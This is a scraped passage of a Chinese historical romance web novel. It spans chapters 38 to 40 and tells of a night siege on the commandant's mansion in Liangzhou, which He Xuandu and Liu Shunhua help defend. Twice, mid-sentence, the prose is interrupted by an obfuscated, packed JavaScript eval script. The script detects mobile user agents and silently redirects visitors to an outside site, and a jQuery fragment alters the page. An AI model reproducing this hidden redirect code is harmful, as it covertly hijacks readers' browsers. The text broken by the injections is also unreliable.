周松道:“贺公子说,醉月居虽鱼龙混杂,利于藏匿,但郑充常在那里厮混,难免会有他的眼线。都尉府西街有一处宅院,环境幽静,可以让表小姐安心养伤。而且,那附近住的都是一些有头有脸的人物,刺史府的人不会轻易去此处闹事。” 说罢,他便上前,将钥匙递给守在一旁的大表哥。 “西街,安乐巷,中间那户,系着红色丝带的皂角树旁便是。” 陈莹看着柳舜华,“表姐?” 柳舜华本不想贺玄度牵涉太甚,特意没有告知他此次的计划。范神医虽是都尉府的人,但她此前并未告知要将人藏在醉月居,贺玄度又是如何知晓的? 她虽不知贺玄度究竟如何知晓,不过他的安排的确更好。 她回头看了看表姐,点头道:“好,钥匙我收下了,明日我必登门道谢。” 周松见她收了钥匙,笑道:“柳小姐,东西既已送到,那我先告辞了。” 为免人多眼杂,几人当即决定,二表哥继续护送古赞丽回醉月居。大表哥提前回家安抚舅父,毕竟他们悄无声息出去一天,很难不让人起疑。 事已说定,陈莹换了二表哥,架着车赶往安乐巷。 陈茵脑中一片昏沉,扶着胸口,歇了好一会,才渐渐有了好转,“舜华,方才那个贺公子,可靠吗?” 柳舜华面上有几分不自然,摸着脖颈,“他……很可靠。” 陈莹听得真切,在外面笑道:“姐姐放心,贺公子是万都尉的侄子,人自然不会差的。” 听到万都尉,陈茵徒然变了脸色,混沌的头脑一下清醒过来,“都尉府,有危险。” 车内几人面面相觑,柳舜华急道:“表姐为何这么说?” 陈茵慌道:“刺史府借此次寿辰,暗中部署,今夜要血洗都尉府。” 柳舜华一听,连连摇头,“刺史府为何要动都尉府?而且刺史府那点人,别说血洗都尉府,怕是连门都进不去,怎么可能呢?” 陈茵喘了几口,忙道:“你们可有听说近日常有山匪出没?那些人,根本不是什么山匪,全都是刺史府的人。刺史府借着剿匪的名义,已经将他们全部安排在凉州城各处,就是为了今晚。” 几人惊得目瞪口呆,刺史府竟敢如此行事。 柳舜华闻听此言,顿时紧张起来,对着陈莹喊道:“莹儿,快些,再快些。” 柳棠华按着心口,颤声道:“不会吧,都尉府内皆是精兵,至少有上千人,刺史府能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954664|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多少人?” 柳舜华沉下脸,“近日有一队匈奴兵来犯,万都尉领兵前去平乱,至今未归。如今,都尉府上下不过百余人。” 她紧握双拳,细细思量,觉出一丝异常,“刺史府若今夜袭击都尉府,要如何善后?他是想造反吗,就不怕朝廷事后追究?” 陈茵皱眉道:“不,造反的不是刺史府,而是都尉府。” 几人又是一惊,“这是什么意思?” 陈茵凝眉道:“刺史府准备血洗都尉府,然后诬陷都尉府勾结匈奴造反。” 柳舜华瞬间明白过来,“表姐,你便是知道这些,才被软禁起来的对吧?” 陈茵点头:“没错。” 众人不禁有些后怕,若是今晚刺史府事成,那表姐这个知情人,定要被他们斩草除根。 到时,整个凉州城便被刺史府把控,便是整个陈家,恐怕都未必能幸免。 马车转弯,很快进了安乐巷,停在一棵高大的皂角树旁。 柳舜华跳下马车,对着陈莹道:“莹儿,你快回去,将家人都接过来,你们即刻出城。” 想了想,又道:“快些,不论如何,也要将他们全部带来。” 陈莹方才已听到姐姐的话,来不及多想,跳上马车飞奔而去。 柳棠华像是感觉到了什么,一把拉住柳舜华,“姐姐,你要去哪儿?” 柳舜华握住她的手,看着陈茵,“表姐,我要去都尉府。待会外祖他们过来,你们马上出发,不必等我。” 陈茵焦急地看着她,慌道:“蓁蓁,我也担心都尉府,担心凉州城的安定,此前给你写那个寿字,就是想提醒你,刺史府寿宴后会有行动。可事已至此,无力回天,咱们只能将消息传递给都尉府,让他们设法抵抗。至于其他,只有咱们先逃出去,活下来,将来才能有机会证明都尉府的清白。” 柳舜华摇摇头,目光坚定,“不,表姐,你们先走,今日我必须去。” 柳棠华紧紧拽住柳舜华,泪眼婆娑,“姐姐,我要跟你在一起。” 柳舜华狠下心,抽出她的手,“芊芊,你听话,跟着他们一起出城,你跟着我只会是拖累。你相信我,我会想办法脱身的。明日若是脱困,我自会去城外寻你们。” 柳棠华缓缓放下手,姐姐一旦做了决定,再难改变。她知道,姐姐无论如何,都不会跟她们走的。 柳舜华朝着陈茵躬身道:“表姐,外祖他们年事已高,经不起折腾。还望……还望告知他们我已提前出城,莫要让他们担心。” 陈茵还想挽留她,情绪一激动,又止不住地喘着气,“蓁蓁,此事因我而起,我不能眼睁睁地看着你……” 柳舜华按住她的手,“不,表姐,此事与你无关,你不必内疚。一切都是我自己的选择,我愿意。” 说罢,她不再停留,转身离开,拼命向前奔去。 “姐姐,你一定要回来啊!” 她听到柳棠华在身后哭喊,不敢回头。 残阳似血,火烧一般,染红了半边天。 风声在耳边掠过,相府的那场大火又燃烧在眼前。 熊熊烈火中,她仿佛又看到了贺玄度,他就一个人,孤零零地站在那。 贺玄度,这次你不会再是一个人。 39. 第 39 章 侍卫回禀说柳小姐过来的时候,贺玄度愣了一下。 此时夕阳已落山,最后一点余晖随之消散,暗沉沉的天色压在四周,牢笼一般。 贺玄度没想到,这个时候,她还会过来。 他整理了衣襟方准备出门去迎,刚出院子,柳舜华便一头扎了进来。 贺玄度忙伸手扶住她,“你这个时候来做什么?” 柳舜华拉着他往内走,“贺玄度,你听……我说,都尉府今夜有难。” 贺玄度一惊,“你怎么知道?” 柳舜华知他暂时反应不过来,上气不接下气地喘着解释,“刺史府,刺史府今晚要对都尉府发难,诬陷都尉府造反。” 贺玄度一愣,明显不信,“怎么可能,他根本拿不出证据。” 柳舜华急道:“怎么不会,若攻下都尉府,证据不是随他们捏造。” 怕他不信,柳舜华接着道:“我表姐无意间听到了郑刺史他们的计划,所以才会被软禁起来。行动就在今晚,他们一早便算计好了,趁着万都尉不在,袭击都尉府。贺玄度,都尉府要尽快做好打算,不然,真的来不及了。” 贺玄度低头沉默片刻,转头对上柳舜华,“若是如此,你快些离开,以免被波及。” 他想了想,又道:“侧门隐蔽,离安乐巷近些,我让人从那里送你出去。” 柳舜华站在那里,并没有动。 贺玄度看着她,有些着急,厉声道:“柳舜华,你是傻了吗,怎么还不走?” 柳舜华歪头朝他一笑,“贺玄度,已经晚了。这会我外祖一家,已经出了城。今夜,除了这里,我已无处可去。” 夜风突起,吹动着她的衣摆,单薄的身子却像是江边摇曳的蒲草,即便是风雨也不折不弯。漆黑的眼眸中带着坚韧,就这么静静地看着他,让他不得不重新正视她。 贺玄度心上猛地一颤,湿了眼眶,嘴上却刻薄道:“柳舜华,你就是个大傻子。” 夜色深浓,两人就这么看着,谁也没再多说一句。 “公子,刺史府有异动。”周松从外面匆匆赶来。 贺玄度回过神,神色凝重,“目前什么情况?” 周松看了看柳舜华,见贺玄度并没有隐瞒的意思,接着说:“寿宴结束,刺史府迅速纠集约五百兵士,瞧着像是有大动作。我已命人登上角楼时刻留意,若是靠近,必有人来报。” 柳舜华蹙眉,“不止,刺史府敢强攻都尉府,来人绝对不止这些。表姐说,前阵子出现的贼匪,其实是刺史府的人,早已被安排在凉州城各处,只怕就是为了此刻。” 周松先是一惊:“刺史府要袭击咱们都尉府?” 随后,他猛然一拍脑袋,“我说怎么一早就觉得哪里不对,都尉府周围来了许多生人,他们极有可能就是刺史府派来监视咱们都尉府的。公子,现在外面八成已被他们封锁,再想传递消息出去,只怕是难了。” 他急得团团转,忙跪下道:“公子,是我疏忽了,请公子责罚。” 贺玄度挥手让他起来,“眼下不是追究责任的时候,而是要解决问题。” 周松忧虑道:“如今都尉不在,单凭府内这些人……” 他没有说下去。 刺史府有精兵五百余人,再加上此前引入城的一批悍匪,对付仅仅百人、空虚的都尉府,几乎不费吹灰之力。 柳舜华挺身站了出来,盯着贺玄度,目光灼灼,“贺玄度,刺史府此行,定不会留有活口授人以柄。都尉府阖府上下数百条性命,不能白白断送,你必须要站出来。” 贺玄度闻言,浑身一怔。 他一向以纨绔示人,在众人眼里,不过就是个只会吃喝玩乐的废物。他知柳舜华并未像其他人一样,因此轻视于他,可却不曾想到,有朝一日,她会同他说,让他站起来。她信他,信他能肩负起都尉府数百条人的性命。 柳舜华以为他被吓到不知所措,并未埋怨他无能,只是走到他身边,柔声道:“贺玄度,不要怕,咱们也不是毫无机会。都尉府不乏英才,你可以将他们聚起来,好好商讨御敌之策。刺史府虽人多势众,可若是咱们能坚持到天亮,到时百姓云集,刺史府又没实证,以都尉府的声望,或可利用声势奋力一搏。” 其实柳舜华也知道,以都尉府目前的兵力,若要对抗到天亮,简直难如登天。可若不奋力一搏,今晚之后,人人敬仰的万都尉将会被冠上卖国贼的称号,都尉府也将沦为一片废墟。都尉府昔日的辉煌与成就,也将随着这场战斗付之一炬。 尽管形势不利,尽管很有可能尸骨无存,可她就是想拼一下,和贺玄度一起,为今生拼一个将来。 贺玄度喉间发紧,声音干涩,“柳舜华,呆在这,外面有我。” 柳舜华抓住他的衣襟,“不,我要跟你一起,我不想一个人。” 她仰着头,目光里满是渴求,贺玄度的心突然就软了下来。 “好,咱们一起。”他说道。 角楼那边很快传来消息,都尉府四周已经被人围了起来。 刺史府到都尉府尚有一段距离,他们明白,如今这些人多半是此前潜入凉州城的贼匪。 贺玄度命人紧闭府门,没有他的命令,不得开门。 周松已聚集府内所有人到演武厅,留守的将士、一众仆从,满打满算百余人。 仆从们一个个吓得瑟瑟发抖,眼中尽是恐惧与不安。 不过这些将士多半是上过战场的,听闻刺史府今夜发难,只是短暂震惊,很快回过神来。 红彤彤的火把燃烧在演武场,昔日战场的激昂之气猛然迸发。 “老子是上过战场,同匈奴狗拼杀过的,会怕了他们不成。” “都尉府以护佑我凉州百姓为己任,对朝廷尽忠,岂能由他们污蔑。” “狗日的刺史府,贼胆包天,今日他们敢来,我们就跟他拼了。” “拼了!拼了!” …… 因都是将士,行军打仗的经验丰富,都尉府很快做好防备。 都尉府门墙高大,朱红的大门稳如泰山,除非有撞城车,抑或千斤锤,刀枪剑戟一时难以攻破。若想要进得来,只能通过爬梯来攻。 围墙四周被洒满了酒水、火油,只待围攻贼子进来时将其点燃。 贺玄度又让人翻找出过年剩下的烟花爆竹,从厨房里的搬出面粉。 大门处留了十余人看守,四周围墙之下各布置二十余人,一众妇孺被安置在偏厅。 安排好一切,偌大的都尉府,瞬间沉寂下来。 众人都握紧手中的武器,静静地等待着,那一刻的到来。 柳舜华就站在贺玄度身后,他一袭玄衣,手持长枪,立在门前,一脸肃杀。 不知为何,柳舜华突然想起了那个戴着银面的将军。 银面将军,祁连山下的假贼匪…… 柳舜华福至心灵,“贺玄度,此前捉获的那帮贼匪,是不是还关在府内?” 贺玄度点头,捉到的假贼匪按理应交由刺史府。可万都尉近日忙着对付匈奴兵,无暇顾及他们,是以并未进行交接。 柳舜华喜上心头,“太好了,他们虽是假贼匪,看起来却也不弱,若是说服他们加入,咱们也能多点胜算。” 贺玄度道:“他们是贼匪,怎么甘心陪着咱们背水一战?” 柳舜华却道:“不管他们是什么人,如今皆与都尉府在同一条船上,船稳则生,船破则死。” 贺玄度听懂她的意思,握紧长枪,对着她灼亮的眼眸,缓声道:“如今正是紧要关头,我走不开。既然你想试,那便去,不过,一切小心为上。” 柳舜华点头,“我会的,贺玄度,你也要小心。” 都尉府地牢内,烛火忽明忽暗。 程三他们正伸长了脖子,透过牢门往外看。 “三哥,这会狱卒都不在,瞧他们方才慌慌张张的样子,都尉府是不是出什么事了?” 程三瓮声道:“我怎么知道?” 有人不安道:“三哥,他们不会是想杀我们灭口吧?” 程三一巴掌拍了过去,“你是不是傻,要杀早杀了,还用等到现在。何况,我看万都尉,不像那些个狗官,只知道中饱私囊,不管百姓死活。” 有人附和道:“这倒是,咱们关进来的这些天,他们的确没有刻意为难咱们。” “嘘,别说话。”程三让众人闭嘴,“有人来了。” 急促的脚步声逼近,程三借着灯光,眯眼仔细瞧了瞧,一脸茫然。 满脑子只有一个疑问:这小白脸谁啊?之前好像没见过。 柳舜华一步步走下台阶,站在牢门前,“是我,柳舜华。” 众人面面相觑,柳舜华,谁啊? 程三看着眼前男装的柳舜华,好半晌才反应过来,喜不自胜,“柳小姐,怎么是你?” 柳舜华扫了一眼牢内,很好,这些时日都尉府并未苛待他们,一个个瞧着依旧健壮有力。 程三用手理了理蓬乱的头发,摸着脖子,有些不好意思道:“柳小姐是特意来看我的吗?” 柳舜华愕然。 一旁带路的狱卒一脚踢在门上,“给我老实点,你也不瞧瞧你什么身份,我们柳小姐……” 柳舜华不想与他们废话,打断道:“都尉府突遭袭击,贼人马上便要攻进来,你们想不想活命?” 牢中众人乱做一团,七嘴八舌地议论着。 程三皱眉道:“都尉府怎么会有人袭击,难不成是匈奴兵打进来了?” 柳舜华长话短说,“刺史府诬陷都尉府造反,趁万都尉不在,都尉府内空虚,欲血洗都尉府。” 此前赶牛车的大哥呸了一口,“他放屁。我们这些人虽是外地逃难过来的,但一路上都有耳闻,万都尉这些年一直抗击匈奴,维护凉州城的安定,怎么可能造反。反而是这个什么狗屁刺史,就是因为他横征暴敛的,还将手伸到我们那里,才逼的我们不得不落草为寇。” 柳舜华见他义愤填膺,众人也都跟着咒骂不停,当即道:“如今形势危急,诸位可愿随府内侍卫一起,奋力一战?” 话音方落,方才还吵吵嚷嚷的牢内,瞬间安静下来,眼神望向程三。 他们是为万都尉鸣不平,也着实厌恶郑刺史,可拼命这种事,还是要慎重。好死不如赖活着,他们还不想死。 程三眼一挑,沉声道:“柳小姐这是让我们去送死?” 柳舜华扫了他一眼,“你们现在出去,拿上武器,还能反抗。若是等贼人杀进来,怕是连反抗的机会都没。” 程三仰头一笑,“柳小姐,我们都是些毫不相干的人,又不清楚发生了何事,刺史府的人即便杀进来,也不见得就一定会对我们动手。” 柳舜华冷眼瞧着他,“若都尉府失陷,你当真以为,你们能逃过他们的毒手?刺史府诬陷都尉府造反,却并无实证,今夜突袭,他们定会想方设法将罪名落实,以免留下把柄。” 她默然扫过众人,“你们的存在,很可能就是把柄。” 他们都不是什么良人,自然知道斩草除根的道理,一时都慌乱起来,齐齐望向程三。 “三哥,怎么办?” “三哥,你发个话,咱们都听你的。” 程三思索片刻,抬头道:“要我们帮忙,也不是不可以。只是我有一个条件,不知柳小姐能不能做主?” 柳舜华一早便瞧出了他的意图,他其实比任何人都清楚,一旦贼人攻进来,他们不会有好下场。方才特意一番周旋,不过是想替大伙争取个优待。不愧是他们的老大,是个有头脑的。 她朗声道:“若是想要免除你们的罪责,这个我做不了主。不过我敢保证,若你们戴罪立功,击退贼人,万都尉一定会从轻发落。” “我们不要从轻发落,”程三摇头,“我们要入万都尉的军营。” 柳舜华一愣,她没想到程三竟是这个打算。 程三道:“我虽不知姑娘是何人,但此前我们得罪姑娘,是万都尉出手相救。如今,都尉府危急,又是姑娘站了出来。我猜,姑娘在万都尉那里,应该能说上话,所以恳请姑娘,若能击退贼人,望姑娘能在万都尉面前美言几句。” 柳舜华有些为难,对面的人明显误会了什么。她同都尉府,毫无交情,不过是中间夹着一个贺玄度。 她细细盘算着,若他们今晚命丧于此,自然也就不用担心这个承诺。 若能侥幸击退贼人,他们又有心回头,未尝不是一件好事。 至于日后要兑现承诺,左右还有贺玄度,他一直是个好说话的。 思及此,柳舜华点头道:“若你们肯从良,那自然再好不过,只要你们不再有害人之心,我相信万都尉没有理由拒绝。” 程三躬身郑重道:“如此,我等愿奋力一战。” 众人见他如此,纷纷高和道:“我等愿奋力一战。” 群情激昂,看得狱卒都有些热血沸腾。 柳舜华让狱卒开了牢门,一行人奔向武库,各自挑选了顺手的兵器,朝着前厅杀去。 …… 角楼处的侍卫来报,刺史府的贼人将到。 贺玄度紧紧盯着都尉府大门,周围的侍卫高举着火把,院内登时亮如白昼。 不一会,外面便传来哐哐的脚步声,随即叫喊声隔着大门响起: “都尉府勾结匈奴,数典忘祖,罪不容诛。” “快快出来认罪,饶尔等不死。” “不知者无罪,若开门来迎,恕其无罪。否则,格杀勿论。” …… 贺玄度听他们提到匈奴,脑中突然灵光一闪,瞬间将整件事串起来。 之前他一直想不明白,刺史府为何敢如此明目张胆,造反这样大的罪名,可不是随随便便一两个无关紧要、模棱两可的证据便能轻易坐实的。 如今他总算想通了,为何刺史府如此笃定能妥善处理,因为从始至终同匈奴勾结的,是刺史府。 他冷笑一声,上前隔着门朗声道:“数典忘祖,里通外贼的是你们刺史府。匈奴屡屡骚扰边境,次次得逞,都是郑刺史你的手笔吧?” 外面叫喊声顿时止住了。 片刻,一个浑厚的声音响起:“巧言善辩,颠倒黑白。谁不知道都尉府皆是精兵,对付一小骑匈奴兵,却是屡战屡败,明明是万都尉与匈奴联合,洗掠边境百姓。” 贺玄度回敬道:“郑刺史,你也不怕这话闪了舌头。此刻郑刺史身上,应该有与匈奴往来的书信吧。这些书信便是今日你要诬陷都尉府的证据,我猜的可对?” “诸位,你们可千万别被郑刺史给骗了。他才是真正的叛国贼,你们若是跟着他,不怕日后追责株连九族吗?不信的话,你们将郑刺史上下翻一翻,准能翻到好东西。” 喧嚣声暂停,外面人群举棋不定,郑刺史冷声道:“贺二公子,我本以为你是被那万诚的表象给迷惑了,有意想放你一马,你却执意与他同流合污,那就休怪我无情了。” 贺玄度高声道:“我是相府二公子,你动都尉府便是动我。你与丞相为敌,就不怕将来我爹降罪与你?” 郑刺史不屑一笑,“二公子,你当真以为我在凉州,京城之事便全然不知。贺丞相与都尉府关系怎样,又是如何对你,咱们心里都有数。” 贺玄度嗤笑道:“好啊,那你有本事就来杀了我。” 郑刺史劝道:“贺二公子,你还年轻,犯不上为了这些人赔上性命。若你此时开门,我可以保你不死。” 贺玄度朗笑道:“保我不死?郑刺史,你也说了我是同党,你怎么保,徇私枉法吗?” 郑刺史见劝不动,不再与他口舌,“贺二公子既不打算开门,却还在这周旋,无非就是想拖延时间。可惜啊,今夜,谁也救不了你。都尉府,完了。” 他大喝一声:“来啊,给我冲,第一个冲进去的,赏金千两。” 门外的士兵听到赏金,方才一瞬的顾虑全然没了踪影,一个个红了眼,朝着大门疯狂撞去。 眼见大门一时半刻攻不破,士兵们搬来梯子开始爬墙。墙边的侍卫们早做好了准备,举起长枪,对着墙头的贼军便是一通乱刺,霎时惨叫声四起。奈何对方人多势众,倒下了一批,又有一批攻了上来。 贺玄度命人将烟花爆竹点燃,朝着墙头扔去,霹雳吧啦的声响下,贼军们落荒而逃。 过了片刻,待爆竹已经燃尽,守在外墙的士兵又卷土重来。这次他们都憋着一股劲,势头更加迅猛,成群成群地爬上墙头,黑压压的一片。 侍卫们已是刺不及,迅速点燃地面上的酒水火油。火势迅猛,很快形成一条火障。来不及躲闪的贼军身上沾染了火,疼得满地打滚。墙头上的人不敢轻易上前,一个个趴在那里,只待火势弱下去再攻进院内。 贺玄度一面示意弓箭手射击,一面让人在火上撒去面粉。 一时乱箭齐发,又听一声巨响,面粉在空中爆了开来,巨大的冲击力将骑在墙头的贼军震下墙来,碰到火又烧了起来。 血腥味混合着烧焦的味道弥漫在空中。 墙头终于静了下来。 可府内的侍卫们却不敢有丝毫放松,他们都知道,火不会一直烧下去,待火熄灭,他们最后一道防线也将荡然无存。 不知过了多久,墙外再次传来骚动,贼军们又死灰复燃,纷纷跃过墙头翻进院内。 随着贺玄度一声“杀”,侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974165|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫们纷纷举枪与贼军厮杀开来。 最初侍卫们还算有点优势,可敌人实在太多,渐渐便有些力不从心。 人群中,贺玄度早杀红了眼,玄色的衣袍上湿漉漉地滴着血。 看着越来越多的贼军,他心内盘算着,再坚持坚持,只要一刻,一刻便好。 一声闷响过后,都尉府大门被贼军从外攻破,厮杀声四起。 贺玄度咬紧受伤右手上的布条,提起银枪奋力与贼军缠斗在一起。 贼军越来越多,且新涌上来的贼军个个战力非凡,贺玄度与一众侍卫很快便被围了起来。 郑刺史信步踏进来,对着贺玄度道:“贺二公子,方才好言相劝你不听,如今可后悔?” 贺玄度顺手擦干嘴角的血,嬉皮笑脸道:“你别说,我还真后悔了。郑刺史,不如你放我一马?我保证,出了这个门,就将今晚之事忘得一干二净,怎么样?” 郑刺史脸上一僵,这个贺二公子,怎么软骨头到如此地步。 他冷笑一声,“可惜啊,晚了。给我……” “等等,等等。”贺玄度及时叫住郑刺史。 “郑刺史,有件事我想你有必要知道。就是,你儿子,的确是我出手打成猪头的。” 郑刺史脸色铁青,“贺玄度,死到临头,你还敢如此张狂?” 贺玄度摆手,“误会,都是误会。你为刀俎,我为鱼肉,哪敢呢,我不过是想和你做个交易。” 郑刺史冷笑:“你以为我不知道你的伎俩,不过就是想拖延一些时间,给我……” 贺玄度高声道:“难道郑刺史想断子绝孙吗?” 郑刺史挥在半空的手顿住了,怒道:“你对我儿做了什么?” 他如今已年过四十,膝下只有郑充一个儿子,一向宝贝得紧,乍听贺玄度一说,登时紧张起来。 “也没什么,就是趁着他这些日子用药的时候,找人将一些小东西加了进去,让他这辈子都难抬起头来。”贺玄度话锋一转,“不过,也不是不能治,只是需要对症下药。这个对症下药的意思,就是即便是神医,不知道下了什么药,也难根治。” 一旁蒙面之人在旁提醒道:“郑刺史,别信他。这些日子以来,刺史府被围得铁桶一般,他根本没机会动手。” 贺玄度暗自焦急,眼下这个情况,若他奋力,确实可以勉力突围。可是这些侍卫呢,他们又当如何? 还有柳舜华,也不知道她那边如何,有没有说动那些人? 他必须争取时间尽量拖延,他不能让柳舜华失望。 然而他面上却一派悠然,“郑刺史,信不信由你。不过这可是关系到你们家族延绵的大事,你可要想好了。” 郑刺史稍一迟疑,“都给我听好了,活捉贺玄度,其余人等,格杀勿论。” 贼军们得了令,一涌而上。 突听一声高喊,震破云霄,“贼子乱国,兄弟们,这个郑不死的害咱们落草为寇,杀敌的机会来了,跟他们拼了。” 柳舜华带着程三他们及时赶到。 贼军们不妨竟还有人,一时措手不及,被冲得四散开来。 程三他们的加入,让战局有了一些新变化,许是知晓没有退路,他们一个个卯足了劲,越杀越猛。 贺玄度终于抽出手来,他杀到程三身旁,低声快速说道:“擒贼先擒王,他不防你,先去将他擒了。” 程三虽不认识贺玄度,但见他举止镇定,说得十分在理,当即点头,直奔着郑刺史而去。 贺玄度厮杀的间隙,不住地张望,终于在混乱的人群中发现了柳舜华的身影。 她跟在狱卒的身后,拿着一把大刀,尽管双手不住地颤抖,却紧紧握着,费力地自保。 她那一双手,纤细而柔弱,本可在闺阁中悠闲地描眉簪花,如今却要握住长刀,周旋在贼军之中,随时都可能丧命。 她明明怕得要命,却还是留了下来。 火光中,她的脸被映得通红,额头上溅了一片血,像极了暮落的朱槿,温柔又炙热,顽强又不屈。 这一刻,贺玄度心中只有一个念头。 她绝不能死在这! 贺玄度举起长枪,一路杀过去,伸手拉住她的手腕,将她护在身后。 柳舜华猛地被一个强有力的大手拉过,遽然一惊,抬头见是贺玄度,话还未说出口,泪已是先流了下来。 真好,有贺玄度在,她什么都不怕了。 贺玄度虽要护着柳舜华,不好施展,但郑刺史曾发话,要活捉贺玄度,是以他也不至于成为靶子。 夜色深浓,久攻不下,郑刺史已没了耐心,他暴怒:“给我放火,烧了都尉府,一个都不要放过。” 话音方落,他还未及转身,只觉颈上一片冰凉。 程三趁人不备,杀到后方,将刀架在郑刺史的脖子上。 他身法奇快,便是贺玄度都忍不住在心内赞叹。 郑刺史吓得浑身发抖,“你……你要干什么?” 程三一声冷笑:“让他们停下来,撤出去。” 郑刺史硬声道:“做梦,今晚你们一个都跑……啊……” 程三手上一狠,郑刺史脖子上顷刻血流如注。 郑刺史见他来真的,不敢再硬气,慌道:“退退退,都给我退出去。” 贼军一听,相互看了一眼,缓缓向后撤。 “不能退,都尉府勾结匈奴作乱,火烧都尉府,你们便是镇压乱贼的功臣。退了,你们将再无出头之日。郑刺史,您为国捐躯,事后我们自然会记得您的功劳。” 浑厚的声音从贼军中传出。 人群中很快传来附和声,“没错,兄弟们,立功的机会就在眼前,不能就这么放弃了。” “过了今晚,咱们就都是功臣,不能退缩。” 一石激起千层浪,一番权衡利弊,方才还纷纷撤退的贼军,像打了鸡血一样,重新厮杀起来。 郑刺史两眼一黑,骂道:“刑风,你个狗东西,你敢……” 厮杀声很快将他的声音淹没,双方又缠斗在一起。 程三咒骂两句,一把将郑刺史推开,转身朝着贼军杀去。 贺玄度拉着柳舜华,奋力躲闪。贼军杀得正酣,没人再去管郑刺史先前的话,贺玄度也渐渐支撑不住。 箭矢破空,无数支带着火焰的箭朝着众人射去。 一支箭朝着柳舜华射去,她正挥刀砍向贼军,根本躲闪不及。 “小心。”贺玄度及时将她推开。 程三也杀到柳舜华身边,“柳小姐,你怎么样?” 柳舜华摇摇头,“无事,你不用管我。” 乌云遮月,天穹一片黑暗,像是个巨大的黑洞,随时要将人吞噬。 正厅前的匾额被射中,轰地一声落地,烧了起来。 柳舜华看着贺玄度,握紧了他的手。 这次她感受到了,他的掌心,温暖炙热。 前路未卜,可她却丝毫无惧,哪怕重活一世,哪怕一样葬身火海。 她方想张口,却听贺玄度轻声道:“快来了。” 柳舜华诧异道:“什么,你说什么来了?” 话音方落,只听咚咚咚的脚步声渐渐逼近,外头的贼军像见了鬼一样,不断后退。 柳舜华不知发生了何事,紧盯着门外。 片刻后,一队身穿盔甲的将士涌了进来,紧接着一个高大的身影出现在眼前。来人身穿甲胄,身姿英武,双目囧囧,宛若天神。 柳舜华惊喜万分,竟是万都尉。 “都尉,都尉。” “都尉回来了!” 侍卫们纷纷激动高呼。 郑刺史脸色发白,嘴里不停嘟囔着:“怎么可能,怎么可能?” 贼军抵挡片刻,见大势已去,纷纷放下武器,一个个举起手乖乖缩在角落里。 万都尉的精兵很快将贼军团团围住,余下众人忙着去救火。 天边乌云散尽,天幕下露出薄光。 厮杀声渐渐止息,侍卫们拼杀了一夜,一个个跌坐在地上。 程三双手一抖,手中的长刀应声落下。 今夜,总算是要过去了。 柳舜华望着走来的万都尉,看着贺玄度,声音哽咽,“贺玄度,太好了,咱们都还活着。” 贺玄度却没有回答。 柳舜华觉出一丝不寻常,拉着他的手臂,柔声道:“贺玄度,你怎么了?” 黏腻温热的触感让她浑身一颤,她翻过手掌,掌心一片猩红。 她转过头一看,整个人僵在原地 贺玄度背上竟插了一支箭。 贺玄度脸色煞白,朝着她笑了笑,头一歪,倒在她的 40. 第 40 章 柳舜华头痛欲裂,猛然惊醒。 前尘往事梦一般在脑海中飘过,相府那场染红半边天的大火,都尉府漫天的厮杀,还有贺玄度浑身是血地倒在她面前…… 她睁大双眼,呆呆地望着陌生的床榻,一时不知身在何处。 “柳小姐,您醒了?” 柳舜华怔愣地看着眼前的侍女,一脸茫然。 侍女笑了笑,“柳小姐,这里是都尉府。万都尉已经将贼人全部擒获,眼下安全得很,您不用担心。” 柳舜华缓过神来,急切道:“贺玄度呢,他怎么样?” 侍女拿了准备好的衣物,递给柳舜华,“柳小姐不用急,贺公子好着呢。” 柳舜华却根本不信,“怎么可能,他明明中了箭的。” 侍女低头笑了一下,“都尉已经请人帮贺公子医治,箭上无毒。公子身体好,往日里比这更重的伤都有呢,如今这个伤势,只需休养个五六日便能恢复。” 柳舜华听她说并不严重,才稍稍安心。 才换好衣裙,还未出门,便见有人一头扑在她怀里,上气不接下气地哭了起来。 “姐姐,我以为……我……” 柳舜华心疼地摸着柳棠华的头,“好了,别哭了,姐姐这不好好的。” 侍女见她们姐妹相聚,很识趣儿地退了出去。 柳棠华慢慢从她怀里起来,肩膀尤自颤抖,委屈地擦着泪。 柳舜华抚着她的肩膀,问道:“你怎么会在这,你们没有出城?” 柳棠华吸了吸鼻子,“一出城我们便碰到了吴江他们,我就慌忙叫住他,告诉他都尉府有难。” 柳舜华道:“吴江是谁?” 柳棠华:“就是咱们遭遇贼匪那次,那个给我讲故事的。” 柳舜华有些印象,当初她们离开时,那个站在前排,红着眼的小兵。 “可是,万都尉怎么可能这么快从前线赶过来?” 柳棠华抬头道:“万都尉一直都在城外。” 柳舜华愕然,万都尉没去前线对付匈奴骑兵。 柳棠华张了张嘴,犹豫一下,还是说道:“姐姐,还有一事我觉得有些奇怪。” “我们找上万都尉,方说了都尉府的情况,便看有人慌慌张张地赶了过来报信。你猜,来人是谁?” 柳舜华凝眉道:“我认识?” 柳棠华点头,“对,就是醉月居那个摇骰子的舞姬,唤作金芝。” 柳舜华整理着脑中散落的碎片:醉月居,舞姬,郑充被打,范神医,匈奴奇兵,程三他们被关在都尉府地牢…… 将所有的线整理好,她好像明白了什么。 万都尉在下一盘大棋。 “姐姐,你在想什么,是不是也觉得那个舞姬出现得太巧了?”柳棠华眨着眼问道。 柳舜华不想让她牵涉太深,转头问:“外祖他们都还好吧?” 